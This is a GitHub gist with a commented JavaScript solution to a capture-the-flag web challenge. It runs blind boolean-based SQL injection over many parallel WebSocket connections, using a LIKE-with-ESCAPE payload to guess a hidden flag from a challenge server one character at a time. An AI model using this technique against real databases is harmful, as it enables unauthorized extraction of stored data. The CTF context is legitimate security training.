Skip to content

Instantly share code, notes, and snippets.

@r2dev2
Created November 21, 2023 07:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save r2dev2/347a2692f094921e4c3c83df5b0ad759 to your computer and use it in GitHub Desktop.
Save r2dev2/347a2692f094921e4c3c83df5b0ad759 to your computer and use it in GitHub Desktop.
Heavily commented solution to leak sql table of bug report repo of 1337CTF
// waits until a condition is met by polling every 2 ms
// i did not want to actually write truly async code, i just wanted something that
// works in a reasonable amount of time
const wait_until = (cond) => new Promise((res, rej) => {
const interval = setInterval(() => {
if (cond()) {
clearInterval(interval);
res();
}
}, 2);
});
// my wrapper around websocket to make a request
let opened = 0;
const Sock = () => {
const ws = new WebSocket('wss://bountyrepo.ctf.intigriti.io/ws');
ws.onopen = () => {
console.log('opened', opened);
opened++;
}
// send a text on the ws and return the response
// this should only be called once at the same time for a given Sock()
const request = async (query) => {
let data = '';
const onmsg = (e) => {
data = e.data
};
ws.addEventListener('message', onmsg);
ws.send(query);
await wait_until(() => data.length > 0);
ws.removeEventListener('message', onmsg);
return data;
}
return { request };
}
// python's string.printable
const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ';
let flag = '';
// spawn a websocket for every letter of the alphabet
// we need to parallelize because I started the ctf very late and the exploit was taking
// too long to run serially
const connections = Array(alpha.length).fill(0).map(() => Sock());
var test_next_letter = async (letter, socket) => {
// make sure to escape each letter with \ because '_' and '%' are wildcards
// and match everything
letter = '\\' + letter;
var query = `'11' AND description like '${flag}${letter}%' ESCAPE '\\' --`;
// resp will include ethical_hacker if the bug is found
// and will say "bug not found" if the bug is not found
const resp = await socket.request(JSON.stringify({ id: query }));
return resp.includes('ethical_hacker');
}
(async () => {
try {
await wait_until(() => opened == alpha.length);
// { <- that opening bracket is to make my vim bracket parsing shut up
while (!flag.includes('}')) {
// log the progress in case we lose it
console.log(flag.replace(/\\/g, ''));
// get an array of bools of which letters are correct
const correct = await Promise.all([...alpha].map((a, i) => {
return test_next_letter(a, connections[i]);
}));
if (correct.every(x => !x)) {
console.log('No correct options found :sadg:');
flag += '_';
// it should break but in the ctf, i said continue, oh well it will just require
// manual stopping
continue;
// break;
}
// find the alpha char corresponding to the index of the first correct
const idxs = correct.map((x, i) => [x, i]).filter(x => x[0]).map(x => x[1]);
flag += alpha[idxs[0]];
}
console.log('done');
}
catch (e) {
console.error('BAD', e);
}
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment